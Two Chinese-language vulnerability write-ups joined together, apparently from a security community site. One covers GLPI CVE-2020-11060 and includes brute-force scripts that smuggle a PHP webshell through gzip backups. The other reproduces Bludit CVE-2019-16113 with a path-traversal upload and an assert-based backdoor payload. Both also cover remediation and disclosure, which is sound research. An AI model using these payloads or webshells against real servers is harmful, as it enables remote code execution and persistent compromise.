`comment`列使用TEXT类型，根据[MYSQL](https://dev.mysql.com/doc/refman/8.0/en/storage-requirements.html#data-types-storage-reqs-strings
"MYSQL")文档，它最多可以包含2¹⁶个字节，这应该足够容纳我们的payload。
默认情况下，Technician配置还具有添加WiFi网络条目的权限。
这样就可以更好地控制备份文件的内容，在我们payload的前后只有几行字符。
唯一需要弄清楚的是如何创建这样的payload，使得gzip压缩的dump包含一个有效的PHP webshell。
# Playing with gzip
## Introduction
gzip是[RFC 1952](https://tools.ietf.org/html/rfc1952 "RFC
1952")中定义的一种无损压缩数据格式，同时也是一种软件实现。 其程序由[Jean-Loup
Gailly](https://en.wikipedia.org/wiki/Jean-loup_Gailly "Jean-Loup
Gailly")和[Mark Adler](https://en.wikipedia.org/wiki/Mark_Adler "Mark
Adler")创建，作为`compress`Unix程序的一个无专利软件替代品。
基本上，gzip文件格式只是[DEFLATE](https://tools.ietf.org/html/rfc1951
"DEFLATE")算法的一个封装（头、校验值）。
[RFC ](https://tools.ietf.org/html/rfc1951#section-2 "RFC ")定义了 _DEFLATE_
流的输出格式：
> 压缩数据集由一系列块组成，对应于连续的输入数据块。块大小是任意的，除了不可压缩的块限制为65,535字节。
>
> 每个块使用LZ77算法和Huffman编码的组合进行压缩。每个块的Huffman树独立于其前续或后续块的树，LZ77算法可以使用在前一个块中出现过的重复字符串的引用，最多在此之前32K输入字节
[DEFLATE](https://tools.ietf.org/html/rfc1951#page-10 "DEFLATE")定义了3种有效块类型：
> 00-未压缩
> 01-用固定的Huffman编码压缩
> 10-用动态Huffman编码压缩
> 11-保留（错误）
为了选择一种块类型，gzip使用的压缩器会比较未压缩、固定和动态Huffman编码几种类型中哪个更短。
[LZ77算法](https://en.wikipedia.org/wiki/LZ77_and_LZ78
"LZ77算法")和[Huffman编码](https://en.wikipedia.org/wiki/Huffman_coding
"Huffman编码")的更多细节不是本文的重点，但这里有维基百科的基本描述（和我们相关的）：
> * LZ77算法通过 **替换重复重现** 的数据实现压缩，将其替换为未压缩数据流中此前已存在的相同数据的引用。
> *
> Huffman算法的输出可以看作是对源符号（例如文件中的一个字母）编码的变长编码表，算法通过评估源符号中每个可能值出现的可能性或频率（权重）得到变长编码表。
> **与不常见的符号相比，更常见的符号使用较短的编码。**
>
在 **固定** Huffman编码块中，[DEFLATE RFC](https://tools.ietf.org/html/rfc1951#page-12
"DEFLATE RFC")对[变长编码表](https://stackoverflow.com/questions/46654777/deflate-and-fixed-huffman-codes/46658622#46658622 "变长编码表")进行了描述，因此被压缩器/解压缩器所熟知。
**动态** Huffman编码中变长编码表是通过对给定输入进行专门计算得到的，编码表包含在生成的块中。
## Previous research - fixed blocks
_DEFLATE_ 数据格式用于多种文件格式，包括[PNG](https://tools.ietf.org/html/rfc2083 "PNG")。
一些研究人员已经设法将PHP
Webshell嵌入到PNG图像中：[idontplaydarts](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
"idontplaydarts")，[adamlogue](https://www.adamlogue.com/revisiting-xss-payloads-in-png-idat-chunks/
"adamlogue")，[whitton](https://whitton.io/articles/xss-on-facebook-via-png-content-types/ "whitton")
大体上看，他们的方法是相同的：将随机字节预置/追加到PHP Webshell输出并解压，直到没有错误。
[idontplaydarts](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ "idontplaydarts")的payload是这样的：
# Input data to DEFLATE - raw version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;"
��gTo,$+gTo.)+!g\"ko_S
# Input data to DEFLATE - hexdump version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;" | hexdump -C
00000000 03 a3 9f 67 54 6f 2c 24 15 2b 11 67 12 54 6f 11 |...gTo,$.+.g.To.|
00000010 2e 29 15 2b 21 67 22 6b 6f 5f 53 10 0a |.).+!g\"ko_S..|
# DEFLATE output
$ php -r "echo gzdeflate(hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310')) . PHP_EOL;"
c^<?=$_GET[0]($_POST[1]);?>X
使用Mark Adler的[infgen](https://github.com/madler/infgen/ "infgen")工具，我们可以获取到
DEFLATE 流的更多细节:
! infgen 2.4 output
!
last
fixed
literal 3 163 159 'gTo,$
literal 21 '+
literal 17 'g
literal 18 'To
literal 17 '.)
literal 21 '+!g"ko_S
literal 16
end
* `last`：最后的块（这里只有一个块）
* `fixed`：使用固定Huffman编码块
* `literal`：十进制数字字节或前有单引号的可打印字符串
* `end`：我们已经到达块的结尾
所以 _DEFLATE_
压缩器选择了固定Huffman编码。事实上，输入非常短，如果使用动态Huffman编码会创建一个更大的块，因为编码表需要包含在块中。
这些先前的PoC是在没有输入限制的情况下创建的，但是我们的payload有一些限制。
GLPI在`comment`列中将MySQL编码定义为 **utf8** ：
`comment` text COLLATE utf8_unicode_ci,
根据[MySQL文档](https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-utf8.html
"MySQL文档")：
> utf8是utf8mb3的别名。
utf8mb3字符集实际上是3字节的UTF-8
Unicode编码。这意味着MySQL无法保存[所有4字节的UTF-8字符](https://medium.com/%40adamhooper/in-mysql-never-use-utf8-use-utf8mb4-11761243e434 "所有4字节的UTF-8字符")
payload只能包含[Basic Multilingual Plane
(BMP)](https://en.wikipedia.org/wiki/Plane_%28Unicode%29#Basic_Multilingual_Plane
"Basic Multilingual Plane \(BMP\)")中的字符，即前65536个码位之一。
因此，类似于 idontplaycharts 所描述的那种payload，比如
`0x03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310`，是无效的:
`0xa3`或`0x03a3`不是有效 [UTF-8字符](https://www.utf8-chartable.de/unicode-utf8-table.pl?unicodeinhtml=hex "UTF-8字符")的十六进制表示。
注意:
为了在MySQL中完全支持UTF8，推荐使用[utf8mb4](https://dev.mysql.com/doc/refman/8.0/en/charset-unicode-sets.html "utf8mb4")字符集。
因此，固定Huffman编码块方法是一个死胡同。
## Non compressed blocks
对未压缩块的深入研究后发现它们非常有趣，因为输入直接原样包含在输出中。
直接创建一个3字节UTF-8字符的未压缩块似乎是不可能的（？），因为`comment`值之前的数据前面有许多冗余数据，例如`COLLATE
utf8_unicode_ci DEFAULT`, 总之它是无用的，我们将在后面看到。
这里提醒下大家压缩了什么：
### Dump table glpi_wifinetworks
DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`entities_id` int(11) NOT NULL DEFAULT '0',
`is_recursive` tinyint(1) NOT NULL DEFAULT '0',
`name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
`comment` text COLLATE utf8_unicode_ci,
`date_mod` datetime DEFAULT NULL,
`date_creation` datetime DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `entities_id` (`entities_id`),
KEY `essid` (`essid`),
KEY `name` (`name`),
KEY `date_mod` (`date_mod`),
KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','our comment here','2020-04-25 11:14:39','2020-04-21 10:55:09');
我们的策略是创建一个特别设计的`comment`，以达到这样的目的：
* 第一个 _DEFLATE_ 块（动态Huffman）-包含表定义和开始的`INSERT`语句-填满这个块
* 下一个区块是未压缩的，包含PHP webshell
下面是一段简短的Python3代码，用来查找未压缩的块。
这个脚本使用的webshell为 `<?php system($_GET[0]);echo
`ls`;?>.`。添加`ls`可以更轻松地找到未压缩且可更改的块（例如，可以添加/删除一些字符而不会导致块被压缩）。
#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp
def gen(n): # Generate random bytes in the BMP
rand_bytes = b''
for i in range(n):
rand_bytes = rand_bytes + chr(random.randrange(0, 65535)).encode('utf8', 'surrogatepass')
return rand_bytes
def attack():
while True:
for i in range(1,200):
rand_bytes = gen(i)
to_compress = b"<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');"
to_compress = rand_bytes + to_compress # Random bytes are prepended to our payload. We include the dates: there will be compressed too.
compressed = compress(to_compress)
if b'php system' in compressed: # Check whether the input is in the output
print(to_compress)
if __name__ == "__main__":
processes = [mp.Process(target=attack) for x in range(8)]
for p in processes:
p.start()
结果如下：
$ cat input_stored
챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
$ gzip -k input_stored && cat input_stored.gz
)�^input_stored.��챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
� �6.
`infgen`可以确认结果块确实是一个存储块：
$ gzip < input_stored | ./infgen
! infgen 2.4 output
!
gzip
!
last
stored
data 236 177 187 231 180 159 230 145 140 224 190 170 226 180 135 239 178 136 231
data 143 185 239 142 170 234 152 142 219 177 226 166 155 224 181 191 238 167 149
data 232 189 185 207 131 225 158 162 199 145 230 168 134 224 178 167 229 172 145
data 224 181 159 238 144 184 235 131 129 229 141 157 226 133 181 227 161 149 232
data 146 184 230 166 147 234 142 162 232 156 146 228 173 152 229 139 188 234 148
data 151 227 134 190 232 164 133 230 156 181 233 161 182 233 142 162 230 141 180
data 199 149 239 138 170 239 153 164 211 162 238 179 158 237 159 185 235 137 140
data 234 149 181 235 182 142 234 186 137 224 171 190 230 135 174 227 155 161 217
data 134 197 182 230 156 137 202 161 239 179 183 228 141 160 236 163 171 237 142
data 170 229 148 151 233 139 138 229 151 178 236 188 145 232 190 139 228 183 170
data 238 171 167 225 176 128 236 181 136 225 169 154 226 136 176 233 155 145 239
data 171 143 213 141 228 153 157 228 168 140 '<?php system($_GET[0]);echo `ls`;
data '?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
data 10
end
!
crc
length
现在，我们需要在`챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php
system($_GET[0]);echo `ls`;?>`前面放大量字符，来填满一个块（关于填满块的细节在下面一点）。
因此，通过使用[这个payload](https://github.com/AlmondOffSec/PoCs/tree/master/glpi_rce_gzip/padded_and_stored_block.txt
"这个payload")作为`comment`，我们可以通过URL（[http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/test.php）](http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/test.php）)
生成dump。
然而PHP webshell并没有被执行。
一个编码的字符似乎是罪魁祸首:
原来，GLPI的XSS过滤器在将字符`<`和`>`保存到数据库之前对它们进行了编码：
<?php
static function clean_cross_side_scripting_deep($value) {
if ((array) $value === $value) {
return array_map([__CLASS__, 'clean_cross_side_scripting_deep'], $value);
}
if (!is_string($value)) {
return $value;
}
$in = ['<', '>'];
$out = ['<', '>'];
return str_replace($in, $out, $value);
}
不幸的是，要打开 [PHP 标签](https://www.php.net/manual/en/language.basic-syntax.phptags.php "PHP tag")必须使用`<`字符。
所以，不能使用原始的、未经压缩的块来打开 PHP 标签。
## Using the uncompressed block's header
根据 [RFC](https://tools.ietf.org/html/rfc1951#page-11 "RFC")，未压缩的块以一个小的头开始:
The rest of the block consists of the following information:
0 1 2 3 4...
+---+---+---+---+================================+
| LEN | NLEN |... LEN bytes of literal data...|
+---+---+---+---+================================+
LEN is the number of data bytes in the block. NLEN is the
one's complement of LEN.
第4个字节（NLEN的第2个字节）的值可以解码（当文件被PHP解析器读取时）为打开PHP标签所需的`<`字符！
然后，PHP Webshell可以放在文本数据的未压缩字节中。
这是可能的吗？
* `<`的十六进制是`0x3c`。
* `0x3c`的补码是`0xc3`。
* RFC定义来如何封装数据元素：
* 数据元素按字节内位数递增的顺序打包成字节，即从字节的最低有效位开始。
* 除Huffman编码以外的数据元素从数据元素的最低有效位开始打包。
* 可能的情况是：
From:
0 1 2 3 4...
+---+---+---+---+================================+
| 00 c3 | ff 3c |... 00 c3 bytes of literal data...|
+---+---+---+---+================================+
To:
0 1 2 3 4...
+---+---+---+---+================================+
| ff c3 | 00 3c |... ff c3 bytes of literal data...|
+---+---+---+---+================================+
* 未压缩的块必须包含15360到15615字节的文本数据。
不幸的是，仅通过使用3字节的UTF-8字符来获取这么长的未压缩块看起来似乎不可能（？）。
实际上，多个UTF-8字符经常重复使用相同的第一个字节（[例如](https://www.utf8-chartable.de/unicode-utf8-table.pl?start=2048 "例如")，使用`0xe0`）。
Huffman编码将利用这种重复，并且压缩器将不会选择未压缩的块类型，这会打乱Webshell。
同样，3字节的 UTF-8字符限制使得操作更加困难，因为没有它，构造一个任意大小的未压缩块将变得很容易。
## Final PoC
选择的绕过技巧是在未压缩块之前的动态块中打开PHP标签。
gzip文件如下所示(为了清晰起见，用行隔开) :
[gzip header]
[beginning of the first block which is dynamic]
[data compressed with dynamic Huffman codes - part 1]
[opening PHP tag]
[data compressed with dynamic Huffman codes - part 2]
[end of the first block]
[beginning of the second and last block which is uncompressed]
[PHP webshell and padding data to obtain a stored block]
[end of the second block]
[gzip footer]
如何打开PHP标签呢？
* `<php`会引发PHP错误，因为数据在`[data compressed with dynamic Huffman codes - part 2]`中解析
* `<?`也会引发PHP错误，另外，[它仅在使用php.ini中的`short_open_tag`指令启动时才可用](https://www.php.net/manual/en/language.basic-syntax.phptags.php "它仅在php.ini中的`short_open_tag`指令启用时才可用")
* `<?=`([更冗长的<?php echo的简写](https://www.php.net/manual/en/language.basic-syntax.phptags.php "更冗长的<?php echo的简写"))看起来很合适
* * `<?="`，当`[data compressed with dynamic Huffman codes - part 2]`中出现一个`"`时，这是非常有可能的事情，将会引发PHP错误
* * `<?='`和上面一样
* * `<?=*`打开一条注释！只有当`*/`出现在`[data compressed with dynamic Huffman codes - part 2]`中才会引发PHP错误，但这是不可能的
gzip文件如下所示，存储的块已经被重新处理过了，因为PHP：
* 不在乎是否有关闭标签
* 只有存在未关闭的注释时才会引发警告（而不是错误）
[gzip header]
[beginning of the first block which is dynamic]
[data compressed with dynamic Huffman codes - part 1]
<?=/*
[data compressed with dynamic Huffman codes - part 2]
[end of the first block]
[beginning of the second and last block which is uncompressed]
*/system($_GET[0]);echo `ls`;/*챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌,'2020-04-21 10:55:09','2020-04-21 10:55:09');
[end of the second block]
[gzip footer]
现在，我们可以编写一个Python3脚本来暴解包含`<?=/*`的完全动态块（希望直到块的末尾都没有关闭注释）：
#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp
# Padding is done with ASCII characters so it is easier to manipulate
# Characters that are escaped (like "'") or encoded, are removed
seq = list(range(40,60)) + list(range(63,92)) + list(range(93,127))
# Generate n random bytes from seq
def gen(n):
rand_bytes = b''
for i in range(n):
rand_bytes = rand_bytes + chr(random.choice(seq)).encode('utf8', 'surrogatepass')
return rand_bytes
def attack():
# We use our initial payload for a stored block, in case some characters are used in the dynamic block
beginning_stored_block = bytes("챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');", 'utf-8')
beginning_dynamic_block = b'''
### Dump table glpi_wifinetworks
DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`entities_id` int(11) NOT NULL DEFAULT '0',
`is_recursive` tinyint(1) NOT NULL DEFAULT '0',
`name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
`comment` text COLLATE utf8_unicode_ci,
`date_mod` datetime DEFAULT NULL,
`date_creation` datetime DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `entities_id` (`entities_id`),
KEY `essid` (`essid`),
KEY `name` (`name`),
KEY `date_mod` (`date_mod`),
KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','PoC','RCE','ad-hoc',\''''
while True:
for i in range(16190,16500): #These values are optimized to fill a full block, it fits in the 2¹⁶ bytes limitation
rand_bytes = gen(i)
to_compress = b''
to_compress = beginning_dynamic_block + rand_bytes + beginning_stored_block
compressed = compress(to_compress)
# We want an uncompressed block and the PHP opening tag
if b'php system' in compressed and b'<?=/*' in compressed:
print(compressed)
print(rand_bytes)
if __name__ == "__main__":
processes = [mp.Process(target=attack) for x in range(8)]
for p in processes:
p.start()
在多台服务器上经过了一夜的计算后，得到了一个结果！
尽管上面的脚本是一个粗糙的、未优化的方法，但计算时间仍然表明，在我们拥有一个基本的PHP
webshell之前，仅对一个动态块进行暴力破解都是相当漫长/昂贵的。
下面是PoC，即插入到WiFi网络条目的备注，这个条目可以在Web界面中创建（同样，前提是攻击者有一个Technician帐户）：
然后创建压缩的dump:[http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php](http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php)
## Final notes
这里展示的示例假设没有其他已保存的WiFi网络。如果有的话，我们将需要重新生成payload以使其有效。在最坏的情况下，攻击者可以删除它们，拿到shell，然后重新创建WiFi网络。
在没有有效用户的情况下利用漏洞，将作为课后作业留给读者。
理论上，这个漏洞 _可以_
被没有有效帐户的攻击者利用，因为攻击者可以通过失败登录（日志保存在`glpi_events`表中）将数据添加到数据库中，然后触发CSRF。实际上，盲找到有效PoC可能很难，但也许有人可以做到-如果有的话，请告诉我！
注意：`gzip`和`zlib-flate`命令给出的结果不同，似乎是因为块大小不同。`zlib-flate`给出的结果与PHP的`gzwrite()`相同。
# Remediation
GLPI 9.4.6提供了一个修复版本：备份功能已被删除。
[相关安全建议。](https://github.com/glpi-project/glpi/security/advisories/GHSA-cvvq-3fww-5v6f "相关安全咨询。")
# Affected versions
2004年7月发布的0.40版本[引入](https://github.com/glpi-project/glpi/commit/05fc4ef5be51914aec1af353efb82d15cd3a78fd
"引入")了利用CSRF并选择文件名（以及通过路径遍历得到的路径）的可能性。[当时](https://github.com/glpi-project/glpi/blob/05fc4ef5be51914aec1af353efb82d15cd3a78fd/backups/index.php
"当时")，SQL dump是用明文编写的，因此很容易获得Webshell，当时GLPI甚至不支持PHP5。
RCE一直有效，直到2006年1月（0.65版）[创建](https://github.com/glpi-project/glpi/commit/6f2375a6fccbed7ad9e39d11589505cefd623ff3 "创建")了anti-XSS功能。从这个时候开始，只有滥用CSRF和任意文件名漏洞才可能被滥用，但是由于`<`字符是编码的，所以不能导致RCE。
最终，2014年4月（0.85版本），GLPI在`backup.php`中[开始使用](https://github.com/glpi-project/glpi/commit/9313b17561a21be849dea543ebebc591c7313581
"开始使用")gzip压缩，在引入漏洞10年后，这使得可以再次利用RCE。此时的`glpi_wifinetworks`表定义略有不同，因此链接的PoC不能按原样工作，但可以很容易地进行调整。
总而言之，虽然备份功能在很长一段时间内都存在安全问题，但本文介绍的漏洞链从2014年发布的0.85版本开始都有效。
# Timeline
**2020-04-27** : 根据[Security Policy](https://github.com/glpi-project/glpi/security/policy "Security Policy")报告漏洞
**2020-04-28** : 修复[push](https://github.com/glpi-project/glpi/pull/7183/commits/eb8b65f0352fedea1559979b2ca6ad0f64c564ea
"push")进分支9.4/修复漏洞
**2020-05-05** : [GLPI 9.4.6](https://github.com/glpi-project/glpi/releases/tag/9.4.6 "GLPI 9.4.6")发布
**2020-05-08** : [CVE-2020-11060](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11060 "CVE-2020-11060")发布
**2020-05-12** : 发布此漏洞修复建议
# References
以下是一些有助于理解gzip格式的参考资料:
* [Mark Adler's answers on StackOverflow](https://stackoverflow.com/users/1180620/mark-adler "Mark Adler's answers on StackOverflow")
* Z[ip Files: History, Explanation and Implementation](https://www.hanshq.net/zip.html "ip Files: History, Explanation and Implementation")
* [How gzip uses Huffman coding](https://jvns.ca/blog/2015/02/22/how-gzip-uses-huffman-coding/ "How gzip uses Huffman coding")
* [Understanding zlib](https://www.euccas.me/zlib/ "Understanding zlib")
* [Dissecting the GZIP format](https://www.infinitepartitions.com/art001.html "Dissecting the GZIP format") | 社区文章 |
# 关于Bludit远程任意代码执行漏洞的复现、利用及详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
**Bludit是一款多语言轻量级的网站CMS系统，它能够让你简单快速的建立一个博客或者是网站。CVE-2019-16113曝出在Bludit
<=3.9.2的版本中，攻击者可以通过定制uuid值将文件上传到指定的路径，然后通过bl-kernel/ajax/upload-images.php远程执行任意代码。本文将对该漏洞进行详细的分析。**
## 实验环境
1.渗透主机：kali-linux-2018.3-vm-i386
2.目标主机：Debian9.6 x64
3.软件版本：Bludit 3.9.2
## 漏洞复现
1.在Bludit中利用管理员用户admin创建一个角色为作者的用户test，密码为test123。
2.利用test/test123登录Bludit，打开“撰写新文章”栏目，点击“图片”按钮，进行图片的上传：
2.1尝试上传一个常规图片文件，图片上传成功，如下图所示：
2.2尝试上传一个任意的php文件，上传未成功，应当是系统对用户上传的文件进行了筛查和过滤，如下图所示：
3.通过Burpsuite截取上传图片的http数据包，在Repeater模块中将文件名修改为”test.jpg”，内容修改为
<?php $test='<?php $a=$_POST["cmd"];assert($a); ?>';file_put_contents("shell.php", $test);?>
uuid值修改为`../../tmp`，然后发送数据包给Bludit，如下图所示：
4.再次在Repeater模块中作如下修改，上传.htaccess到指定路径，若不上传.htaccess文件，那么将无法执行恶意图片生成后门php文件，如下图所示：
5.在浏览器中输入如下url，访问之前上传的恶意图片，以使php代码执行并且生成后门文件shell.php：
<http://192.168.110.133/bludit/bl-content/tmp/test.jpg>
6.使用中国菜刀连接后门文件shell.php，成功连接到Bludit服务器，可以利用菜刀对服务器文件进行新建、修改、上传以及删除等等操作，如下图所示：
7.通过进一步尝试，发现可以在Repeater模块中直接上传php后门文件，并不需要刻意使用图片文件的后缀名，这里虽然服务器返回错误信息，但是后门文件确实是上传成功的，可以用菜刀去连接（菜刀的连接过程这里不再赘述），如下图所示：
## 漏洞分析
1.问题源码具体如下：
<?php defined('BLUDIT') or die('Bludit CMS.');
header('Content-Type: application/json');
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
if ($uuid && IMAGE_RESTRICT) {
$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
if (!Filesystem::directoryExists($thumbnailDirectory)) {
Filesystem::mkdir($thumbnailDirectory, true);
}
} else {
$imageDirectory = PATH_UPLOADS;
$thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}
$images = array();
foreach ($_FILES['images']['name'] as $uuid=>$filename) {
if ($_FILES['images']['error'][$uuid] != 0) {
$message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize');
Log::set($message, LOG_TYPE_ERROR);
ajaxResponse(1, $message);
}
$filename = urldecode($filename);
Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
$image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory);
if ($image) {
$filename = Filesystem::filename($image);
array_push($images, $filename);
} else {
$message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
Log::set($message, LOG_TYPE_ERROR);
ajaxResponse(1, $message);
}
}
ajaxResponse(0, 'Images uploaded.', array(
'images'=>$images
));
?>
2.其中下面这段使用POST方式获取uuid参数，然后没有对uuid做任何的校验和过滤，直接拼接到imageDirectory中，这就导致了path
traversal的产生，攻击者可以通过定制uuid参数值，将定制文件上传到任意目录。
$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];
if ($uuid && IMAGE_RESTRICT) {
$imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
$thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
if (!Filesystem::directoryExists($thumbnailDirectory)) {
Filesystem::mkdir($thumbnailDirectory, true);
}
} else {
$imageDirectory = PATH_UPLOADS;
$thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}
3.`$image = transformImage(PATH_TMP.$filename, $imageDirectory,
$thumbnailDirectory);`
这条语句使用函数transformImage来校验文件扩展名和生成文件缩略图。函数transformImage代码具体如下：
function transformImage($file, $imageDir, $thumbnailDir=false) {
global $site;
$fileExtension = Filesystem::extension($file);
$fileExtension = Text::lowercase($fileExtension);
if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
return false;
}
$filename = Filesystem::filename($file);
$nextFilename = Filesystem::nextFilename($imageDir, $filename);
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);
if (!empty($thumbnailDir)) {
if ($fileExtension == 'svg') {
symlink($image, $thumbnailDir.$nextFilename);
} else {
$Image = new Image();
$Image->setImage($image, $site->thumbnailWidth(), $site->thumbnailHeight(), 'crop');
$Image->saveImage($thumbnailDir.$nextFilename, $site->thumbnailQuality(), true);
}
}
return $image;
}
if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
return false;
}
其中这条if条件判断语句用于检测用户上传文件的后缀名是否在允许的范围内，若不在，则返回false，那么transformImage函数也执行结束，返回false。
ALLOWED_IMG_EXTENSION是一个全局参数，内容如下：
`$GLOBALS['ALLOWED_IMG_EXTENSION'] = array('gif', 'png', 'jpg', 'jpeg',
'svg');`
4.在漏洞复现环节，存在一个问题，为什么在页面上直接上传php文件，服务器返回信息“文件类型不支持”且文件上传也不成功，而通过Burpsuite代理上传php文件，虽然显示文件类型不支持，但是却上传成功呢？下面来具体分析：
通过在浏览器中分析页面源码，发现jQuery中存在一个函数uploadImages，该函数通过如下for循环进行图片后缀名的合规性校验，如果用户上传的文件不符合要求，那么函数直接返回false，恶意文件也就无法通过页面上传。
for (var i=0; i < images.length; i++) {
const validImageTypes = ['image/gif', 'image/jpeg', 'image/png', 'image/svg+xml'];
if (!validImageTypes.includes(images[i].type)) {
showMediaAlert("<?php echo $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']) ?>");
return false;
}
if (images[i].size > UPLOAD_MAX_FILESIZE) {
showMediaAlert("<?php echo $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize') ?>");
return false;
}
};
为什么通过Burpsuite代理上传php文件就可以？不是也通过transformImage函数做过后缀名检测吗？其实transformImage函数并未起到作用。首先通过Burpsuite可以绕过页面的jQuery检测代码，这样恶意文件就顺利进入了后端。然后在调用transformImage函数之前有这样一条语句
Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
它把用户上传的文件移动到了Bludit的tmp文件夹中（具体路径是/bludit/bl-content/tmp）。此时恶意文件已经存在于tmp文件夹中，接着再调用transformImage函数，然而transformImage虽然对文件后缀名做了检测，但是没有删除不合规文件，因此通过Burpsuite代理上传php文件可以成功。
## 漏洞修复
1.针对upload-images.php，主要改动有以下四点：
1.1在设置imageDirectory之前，检测uuid中是否存在DS（即目录分隔符）：
if ($uuid) {
if (Text::stringContains($uuid, DS, false)) {
$message = 'Path traversal detected.';
Log::set($message, LOG_TYPE_ERROR);
ajaxResponse(1, $message);
}
}
1.2增加代码检测filename中是否存在DS（即目录分隔符）：
if (Text::stringContains($filename, DS, false)) {
$message = 'Path traversal detected.';
Log::set($message, LOG_TYPE_ERROR);
ajaxResponse(1, $message);
}
1.3在mv操作之前，检测文件扩展名的合规性：
$fileExtension = Filesystem::extension($filename);
$fileExtension = Text::lowercase($fileExtension);
if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
